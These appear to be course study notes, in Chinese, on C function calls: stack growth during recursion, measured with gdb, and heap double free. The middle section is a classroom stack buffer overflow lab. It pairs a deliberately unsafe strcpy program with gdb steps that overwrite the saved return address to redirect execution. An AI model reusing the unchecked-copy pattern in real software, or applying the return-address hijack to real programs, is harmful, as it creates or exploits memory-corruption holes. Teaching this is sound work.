--- tags: NCKU Linux Kernel Internals, C語言 --- # C 語言:函式呼叫 [你所不知道的 C 語言:函式呼叫篇](https://hackmd.io/@sysprog/c-function?type=view) ## Recursive function call * 遞迴呼叫時,每一次的函式的 argument、local variable、return address 都會堆疊在 stack 中,抵達 return 再一個個 pop 回去。 * stack 的容量是有限的,因此無止盡的 call function 會導致 core dump ### 實驗 透過使用 gdb 追蹤上面的程式來觀察以下程式碼: ```c= int func() { static int count = 0; return ++count && func(); } int main() { return func(); } ``` > gcc -o tmp -g tmp.c > gdb tmp 執行上述的程式直到 core dump,透過 gdb 觀察 count (count 即是函式被呼叫的次數)。 ``` (gdb) p count $1 = 524015 ``` 如果修改程式,使其可以接受 int: ```c= int func(int x) { static int count = 0; return ++count && func(x); } int main() { return func(0); } ``` 同樣執行直到 core dump,透過 gdb 觀察 count 會變成: ``` (gdb) p count $1 = 262007 ``` 可以看到,可執行的函式數量減少了! 這印證之前所說的 argument 會堆疊在 call stack 中,因為 argument 使每次呼叫函式所需的空間增加,因此可遞迴的次數減少。 如果再修改成: ```c= int func(int x) { static int count = 0; int a = x; return ++count && func(x); } int main() { return func(0); } ``` ``` (gdb) p count $1 = 174671 ``` 可執行的函式數量又再減少! 這印證之前所說的 local variable 會堆疊在 call stack 中 ! ## Stack-based buffer overflow 透過對 function stack 的 [buffer overflow](https://en.wikipedia.org/wiki/Stack_buffer_overflow) 技巧,我們可以改變程式的運行。要了解其原理,需要從 memory layout 去觀察。 ``` c= #include <string.h> #include <stdio.h> void overflow() { printf("HaHa! I'm hacking now\n"); } void foo(char *bar) { char c[12]; strcpy(c, bar); // no bounds checking } int main(int argc, char **argv) { foo(argv[1]); return 0; } ``` 以上述程式為例,其 memory layout 為: ![](https://i.imgur.com/1lIVvFh.png =400x) 然而,`strcpy(char *dest, const char *src )` 是存有安全疑慮的。它並不會檢查 `src` 的長度是否符合 `dest` 可允許裝進的長度。 還記得前面提及 return address 也會被放在 stack 中?試想一下,如果我們可以寫超出陣列 c[12],這代表我們甚至可以去改寫 return address 的數值,改變程式的運行! ![](https://i.imgur.com/XLkGylN.png =400x) 現在,讓我們透過此技巧來改變上述的程式執行,使原本不應該被執行的函式 overflow() 運行。 ### 實驗 > gcc -o tmp -fno-stack-protector -g tmp.c > gdb tmp ``` (gdb) b 12 (gdb) r "Hi" (gdb) x &c 0x7fffffffdc44: 0x00007fff ``` 首先,把斷點設在第12行的 strcpy,並且先使用一個長度 <12 的字串來觀察。可以看到 c 被放在 stack 的 `0x7fffffffdc44` 位置 ``` (gdb) info frame Stack level 0, frame at 0x7fffffffdc60: rip = 0x5555555546a9 in foo (tmp.c:12); saved rip = 0x5555555546e1 called by frame at 0x7fffffffdc80 source language c. Arglist at 0x7fffffffdc50, args: bar=0x7fffffffe122 "Hi" Locals at 0x7fffffffdc50, Previous frame's sp is 0x7fffffffdc60 Saved registers: rbp at 0x7fffffffdc50, rip at 0x7fffffffdc58 (gdb) x/-2x 0x7fffffffdc60 0x7fffffffdc58: 0x555546e1 0x00005555 ``` 為了達到 buffer overflow,我們的目標是找到 return address 在哪,然後把它的值覆蓋掉!透過 `info frame`。可以看到上一個 frame 是在 `0x7fffffffdc60` 的地方,往前推算應該就是 return address 在 stack 中的位置! 因此,計算c的 `0x7fffffffdc44` 到 previous frame 的 `0x7fffffffdc60` 的相對距離 `0x1c` = 28,可以推算要填多少字元才可以修改到 return address。 ``` (gdb) info line overflow Line 5 of "tmp.c" starts at address 0x55555555468a <overflow> and ends at 0x55555555468e <overflow+4>. ``` 此外,透過 `info line overflow` 得知我們要把位址修改到 `0x55555555468a`。 經過一番步驟,素材都準備好了!重新啟動gdb來~~大開殺戒~~吧。 ``` (gdb) b 12 (gdb) r "AAAAAAAAAAAAAAAAAAAA?FUUUU" (gdb) set bar[20] = 0x8E ``` 前面的A只是單純填無用的字元,而後面的 ?FUUUU 對應到 ASCII code 就是 `0x8e 0x46 0x55 0x55 0x55 0x55` 。 沒錯!正好是函式 overflow 的所在之處。 :::warning :warning: 有一些需要注意的細節 1. `?` 本身對應的 ASCII 肯定不是 `0x8E` ,所以特地用了 gdb 的 set 來修正內容,暫時還沒找到可以直接把 `0x8E` 打在字串裡的方法,所以拐彎抹角qq 2. 到地址的完整距離雖然是28個字元,但如果你仔細算`"AAAAAAAAAAAAAAAAAAAA?FUUUU"` 只有 26 個字元!這是因為return 回去的位址 prefix 和目標的 overflow() 的 prefix 相同!所以便不必特地去更動。 ::: 如下圖,藉由 buffer overflow,我們成功的去執行了一個原本不會被執行的函式。 ![](https://i.imgur.com/LJfYXjB.png) ## Heap * malloc 時,得到的是一段連續記憶體的開頭 pointer,free 時就通過這個 pointer 釋放整段位於 heap 的連續記憶體 > The free() function frees the memory space pointed to by ptr, which must have been returned by a previous call to malloc(), calloc() or realloc(). > Otherwise, or if free(ptr) has already been called before, undefined behavior occurs. If ptr is NULL, no operation is performed. * 根據[ free 的文件](https://linux.die.net/man/3/free)所述,double free 會產生執行時期的錯誤,一個好的作法是把 free 完的指標設成 NULL。因為 free(NULL) 是可以被接受的(雖然甚麼事都不會發生)。 :::info 為什麼 glibc 可以偵測出上述程式的 “double free or corruption” 呢? glibc 設有環境變數 `MALLOC_CHECK_`,可以藉由 glibc 內建的 memory checking tool 來追蹤錯誤的記憶體操作。 :::